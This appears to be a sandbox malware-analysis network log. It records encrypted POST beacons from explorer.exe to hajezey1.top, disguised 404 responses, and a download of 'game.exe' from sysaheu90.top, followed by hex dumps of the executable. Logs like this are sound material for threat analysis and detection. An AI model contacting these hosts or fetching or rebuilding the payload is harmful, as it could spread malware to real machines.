Oct 29, 2021 20:10:51.494800091 CEST	10095	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 45 a0 9f 18 Data Ascii: Mw:xGcDATwmwu$f]dE3jG'LpXiYR$B"E/DZ5-Wdfv-%I8SY]@<@[eia0
Oct 29, 2021 20:10:51.574101925 CEST	10096	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 81 f5 97 d4 78 2b 2c 62 98 ed 24 c6 ff c5 d4 d9 49 0a 8a 10 c4 44 b9 97 c4 fa be a8 48 96 9e 9b 55 1a f6 de e8 d0 9b 92 17 7d 69 05 79 4a 09 9f 3c bf 00 62 4b 65 fb 80 ab 5b 87 80 39 cd bb 78 96 64 a4 a4 a2 41 45 e8 03 ff 0e 4d e2 d0 97 23 3b 5e 04 e8 5a 9a 14 7a 59 92 17 7e d6 70 82 ba 4b 96 7e bb ee 1f 38 33 d5 53 6f 27 88 32 e7 ce 85 b9 9b 3b 22 2f d9 3d ff 24 3c 78 92 93 78 f9 7e 21 86 a5 ec 34 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RYyM]O_[3_JTO))gxr?\|^c[FXB$H)t\|;fKMXKw[Ge)29E"\|ay6N}o7=Up,Kk"HI?m\|6NI^LdU[0z_$U5=PoV`GZdQJVTq5dIvy'$X9:-C'GrPmR`#>[qJ8-,sqK0Z"?+Qz`KJMQAd'\#&Q#2YBA@=C/fGB%4VF>"7"~K6*!?eti6'NGc:HNDZOJW%bJ}Tzl9\@d=V:"}bP1&@N!;KnGAcWJ`_ng";kz{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59x+,b$IDHU}iyJ<bKe[9xdAEM#;^ZzY~pK~83So'2;"/=$<xx~!4
Oct 29, 2021 20:10:51.574136019 CEST	10097	IN	Data Raw: b8 63 51 46 61 c6 bc 08 32 d3 a0 94 71 08 70 10 6f c4 f9 6e f3 be 99 ec 03 d0 b3 5a 06 42 3c 5e 9d 94 34 5f 44 41 cb 56 06 8c 60 3e 9f 6d f7 e2 cb 35 85 0f a4 36 dd 15 3d 76 07 b9 dc c8 b3 00 72 5d 1d 96 38 e9 82 c6 57 57 32 e8 88 38 20 33 b6 55 Data Ascii: cQFa2qponZB<^4_DAV`>m56=vr]8WW28 3UZQeD3>2d4j_),u<fT.GP$K]wJwfB<U~>F_:sg\SD[.(`%u!2f&T>UP},H?03/ZH/
Oct 29, 2021 20:10:51.574155092 CEST	10099	IN	Data Raw: 47 72 d4 90 45 d6 61 88 d2 8c fa a4 c6 39 f6 d0 f6 a4 6d cb 7d 7b df 3e d4 59 23 7c fe b7 91 a0 5f a8 11 94 59 5a 4c 5f 09 c9 b8 dc ef 27 2c b8 c8 7c 67 9e 18 fa 77 2f fc ec 28 ee ca 9e 96 77 87 62 b2 2a 0f ac 86 cd da a8 92 13 ff 6c cd c2 cb 98 Data Ascii: GrEa9m}{>Y#\|_YZL_',\|gw/(wblc89-L4Yx}2n8o]C6N(t[-5a2}].'ZOR>}J5ZDs/_k s1A1oz@rG7:RSm=M
Oct 29, 2021 20:10:51.574170113 CEST	10100	IN	Data Raw: e6 da 97 3c e3 86 67 07 6d 99 38 83 49 9b 90 8d 47 e3 77 40 fb 85 72 4b 30 80 6f ce c1 a7 db 09 ba 10 eb b8 cd fc 38 17 cd b2 b3 fd 67 6c a8 88 5a 20 3d 9e 68 a6 6f 69 ba 7a bb 6a f2 1c db da e9 f1 0a 6f 26 04 10 78 eb dd e1 2b 98 b4 b9 8d 4b 47 Data Ascii: <gm8IGw@rK0o8glZ =hoizjo&x+KGR1v!8I$FIWO0g:/"zSz)%p^{-n@vl[$>V0FFJWz*h! #<<Id,b)7ldG( 0M
Oct 29, 2021 20:10:51.574186087 CEST	10102	IN	Data Raw: e0 66 73 73 6b 6e 3c 51 7e 2f a2 47 87 77 2a 13 c0 f7 32 ee b6 7b c7 dd f0 48 59 78 c6 87 46 3c a1 b5 97 29 ef 31 ce d5 fe a9 fd a2 20 40 71 94 97 8b 03 68 7d bf 5e d9 0b e5 09 21 bc 16 ab 3e 71 b2 b0 07 41 7e 6d 7b cc 52 37 0e bf 0c a7 ec 21 92 Data Ascii: fsskn<Q~/Gw2{HYxF<)1 @qh}^!>qA~m{R7!d+;uDjY`\|QM{ar(j$]xx/b)26NQQ+$?,cf`pcu?P]2O>'8$ ?V?k [y,07G#}x{(;vxf&;
Oct 29, 2021 20:10:51.574201107 CEST	10103	IN	Data Raw: 68 18 ed 37 91 e3 fe cc a7 89 f6 52 e0 09 d2 99 9c fe 3c fa e4 ce 8d c3 5e 3f dc 5f f4 4e c2 8f b6 c6 3e 29 67 27 f8 ea ca 3a 48 d8 13 cf 85 1e 1f a7 9b 49 2c 8e 79 39 aa 10 2e 3c 00 c3 ae 5a cc ec cf 09 d1 f9 b0 b6 be db f9 6b 18 29 ef 77 ee 40 Data Ascii: h7R<^?_N>)g':HI,y9.<Zk)w@WxfKXghJ.IQ9Mb4Z.tBl+ ;Q,<l'v$9gSd3Xl'Ss6r uIs rb7v0mK<lYW2VtRk8`fk?NIs_
Oct 29, 2021 20:10:51.574217081 CEST	10104	IN	Data Raw: 81 74 d0 8a 79 65 0d a5 79 61 3a ff 2d 1b f1 9a 4a d7 73 af 46 7f 2c dc 01 08 4a 18 8f f1 d8 45 49 04 71 56 e3 65 e7 4d ca fc eb 57 53 dd a7 1c 71 06 26 46 be b7 a3 6a 36 af cf 43 90 69 91 2c dd 08 ca 1c c9 a5 5d de 55 8c ac d2 e5 1d a7 ec 0b f5 Data Ascii: tyeya:-JsF,JEIqVeMWSq&Fj6Ci,]Uds~A bn4De$gQPO .g2>mXL/O8[n:H/62W>}%b[5vW2000I(UGlRFOD\V9;g(jb
Oct 29, 2021 20:10:51.574233055 CEST	10106	IN	Data Raw: 9a 3d a2 82 c6 09 0c 9e 88 f6 1a 71 c8 fa 7d 19 32 93 7f 93 9a 6d 2b a6 32 96 36 0a cb 0b 6e 5b 7f 75 95 52 4e 35 97 b2 23 66 43 64 3b 92 f6 52 9b b7 bf 04 ae ed 5e 16 fe c5 2e 07 66 fc ed 1c 1a fd f2 7f e1 f5 f6 5d 47 65 1d f6 3e 7a a4 a2 6e a1 Data Ascii: =q}2m+26n[uRN5#fCd;R^.f]Ge>znLm:k)z\|t=%a#U(kk'w8Zi.l;s'\PQ.u,L]+eP6Ep-G9XPJg6Y*"uBPj1tIZMT+&
Oct 29, 2021 20:10:51.574248075 CEST	10107	IN	Data Raw: c3 18 52 9a 35 d2 03 6f e2 95 a8 3d ac 2b 96 0e 56 5c 20 f2 9d 42 88 7b 9d 99 d4 e9 46 f0 33 36 28 7a 06 2f ae 63 ed 1a e0 5e 98 d9 a8 6c 87 53 08 85 db 2a 34 ad 84 e2 8d 6e c4 2a 80 70 4e d0 9d 76 be 1e 53 c6 49 b1 71 64 cc 36 05 4f bd 2a b7 1f Data Ascii: R5o=+V\ B{F36(z/c^lS4npNvSIqd6O*O6oXY)a_/F?>E~8-cY1$j5g-&Jw2E>!lgfl1%OV\eILqm=G2rh`F~gvhXz/n>'o8
Oct 29, 2021 20:10:51.574263096 CEST	10108	IN	Data Raw: d5 cd b1 71 96 38 ad db 7f 85 46 70 77 e1 73 0b d7 12 27 69 f4 55 ed be 1e ec ae 4f 1d c7 b8 15 a4 99 73 cd c2 c5 d0 fb ba 07 8f 02 b5 41 ab 11 cb df 7a 91 0d ce 18 be 62 8a 2d d3 18 33 12 9f 07 02 bb b8 18 67 35 56 12 da eb 6a 74 e8 54 98 68 00 Data Ascii: q8Fpws'iUOsAzb-3g5VjtThYMYa49bW=XO6NDu"tU.RiMr.FN,Zgpb\QJ:,;P6[< 1>\7^P2\|f5RHo#<R<k6K
Oct 29, 2021 20:10:51.625654936 CEST	10110	IN	Data Raw: 2a 2b da a6 ae 48 76 82 50 85 bc 38 11 ec 52 d0 13 59 e7 e0 93 89 ea 3f 18 5e 99 de 73 ca c6 68 66 25 72 47 85 b7 72 79 50 b7 e7 c6 8e 0e 18 9a ea ee e7 5f e5 d3 d6 e0 65 94 2e f3 e3 af 6d b5 08 6d 0a 3f f7 3c 0a f6 74 40 ae 46 a2 c9 08 b0 63 9a Data Ascii: *+HvP8RY?^shf%rGryP_e.mm?<t@Fc[nIy<N[$%?1+6rxE3pw>=xTX#5R.%1E`#,3&5@KU Hjam5{I%oZ:my(y7~:B;2'3#.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49823	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:55.880763054 CEST	10455	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqvvicnwkv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: hajezey1.top
Oct 29, 2021 20:10:55.880800009 CEST	10455	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8a 66 5d 02 c9 a1 c1 64 25 c2 b0 1a Data Ascii: Mw:xGcDATwmwu$f]d%x%G?sHLBPT#a{>d?L^mRb\z<>(!
Oct 29, 2021 20:10:55.957325935 CEST	10456	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49824	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:56.061537027 CEST	10457	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmylopjj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 165 Host: hajezey1.top
Oct 29, 2021 20:10:56.061561108 CEST	10457	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 0e b8 a5 77 Data Ascii: Mw:xGcDATwmwu$f]dw"~p[)I\|$oxM#Y5zS[v;MT.7>[I>u;
Oct 29, 2021 20:10:56.145724058 CEST	10457	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49825	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:56.593132019 CEST	10458	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sysaheu90.top
Oct 29, 2021 20:10:56.728715897 CEST	10459	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Fri, 29 Oct 2021 18:10:02 GMT ETag: "92800-5cf81bc6a9a05" Accept-Ranges: bytes Content-Length: 600064 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5d 6f 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 a6 07 00 00 c4 70 02 00 00 00 00 c0 aa 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 d2 54 09 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 a9 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 38 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 9f 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 a4 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 c0 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 75 6c 6f 66 69 76 e5 02 00 00 00 30 77 02 00 04 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CtwCtwCtw,ntw,atw,<twJDtwCtv<tw,Btw,Btw,BtwRichCtwPEL]o`p@xTP@w?w80@.textP `.dataio@.rulofiv0w@.rsrc?@w@@@.reloc"w$@B
Oct 29, 2021 20:10:56.728748083 CEST	10461	IN	Data Raw: 40 ab 07 00 5c ab 07 00 6a ab 07 00 76 ab 07 00 82 ab 07 00 9a ab 07 00 b8 ab 07 00 d2 ab 07 00 e4 ab 07 00 00 ac 07 00 18 ac 07 00 26 ac 07 00 3a ac 07 00 48 ac 07 00 62 ac 07 00 76 ac 07 00 86 ac 07 00 a2 ac 07 00 b2 ac 07 00 c4 ac 07 00 dc ac Data Ascii: @\jv&:Hbv 0DVl\|.:Vlz$>Nfr.
Oct 29, 2021 20:10:56.728771925 CEST	10462	IN	Data Raw: 64 00 75 00 72 00 69 00 6e 00 67 00 20 00 6e 00 61 00 74 00 69 00 76 00 65 00 20 00 63 00 6f 00 64 00 65 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00 6e 00 Data Ascii: during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSI
Oct 29, 2021 20:10:56.728794098 CEST	10464	IN	Data Raw: 00 00 00 00 52 00 36 00 30 00 31 00 38 00 0d 00 0a 00 2d 00 20 00 75 00 6e 00 65 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 20 00 68 00 65 00 61 00 70 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 Data Ascii: R6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread
Oct 29, 2021 20:10:56.728811979 CEST	10465	IN	Data Raw: 6d 00 65 00 2c 00 20 00 70 00 72 00 6f 00 67 00 6e 00 61 00 6d 00 65 00 5f 00 73 00 69 00 7a 00 65 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 Data Ascii: me, progname_size, L"<program name unknown>")Runtime Error!Program: wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[
Oct 29, 2021 20:10:56.728827953 CEST	10466	IN	Data Raw: 00 00 00 00 00 42 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 1e e5 3f 00 00 Data Ascii: B???????V?V???????z?z?F?F?????????R?R?$?
Oct 29, 2021 20:10:56.728854895 CEST	10468	IN	Data Raw: 0b ba b6 9d e1 3f 68 a2 a4 85 58 67 2b 3d 00 f8 6f 67 df e6 e1 3f aa 83 b9 81 ba 58 1a 3d 00 bc be d8 b0 30 e2 3f 7b 66 48 6e 06 fc 12 3d 00 3c c9 1e 9e 77 e2 3f 79 9b 35 73 33 52 36 3d 00 1c 84 f9 29 bf e2 3f ec b7 d3 61 38 8a fd 3c 00 0c 4f 34 Data Ascii: ?hXg+=og?X=0?{fHn=<w?y5s3R6=)?a8<O4W?4bV0=L?4@=@?X4=Tk?>_(=?o=@[c?,=$4b?dO"=lx?#608=&m?h"0=l?n6{<9[P
Oct 29, 2021 20:10:56.728878021 CEST	10469	IN	Data Raw: 2d ee bb 3f ad 16 8d 58 5b 46 b4 3c 00 06 c1 2b 90 2e bc 3f 58 8e 20 15 6b 6e e0 3c 00 45 90 d9 f4 6e bc 3f db 54 a9 28 8d 2b e5 3c 00 c6 de 55 5b af bc 3f d6 89 1b d4 06 9c e4 3c 00 27 e7 a4 c3 ef bc 3f 6a 75 21 34 b8 95 a9 3c 00 16 e5 ca 2d 30 Data Ascii: -?X[F<+.?X kn<En?T(+<U[?<'?ju!4<-0?<Qp?<?{<qw?_W<C1?'<I\r?Dc<s>?<w*I?n'$<23?z7<[>t?V-Ai<
Oct 29, 2021 20:10:56.728895903 CEST	10471	IN	Data Raw: 09 3d 00 88 5d c6 b0 13 d1 3f 01 96 a0 9d 36 87 0d 3d 00 6f da 4a 13 56 d1 3f 4a 8e f3 20 b2 62 05 3d 00 27 34 f4 88 98 d1 3f 2f b5 90 74 de 3e e1 3c 00 77 ed 1a 12 db d1 3f 61 eb 60 cc d6 d7 f8 3c 00 a3 5f 18 af 1d d2 3f 1f 61 dd 09 ae 65 07 3d Data Ascii: =]?6=oJV?J b='4?/t><w?a`<_?ae=F``?/f=#&?5SmT4<W?Rz< (?vY<k?pY.=y?8'<KuC?j<{=2<5?d=x?"a=@ic?%[9=
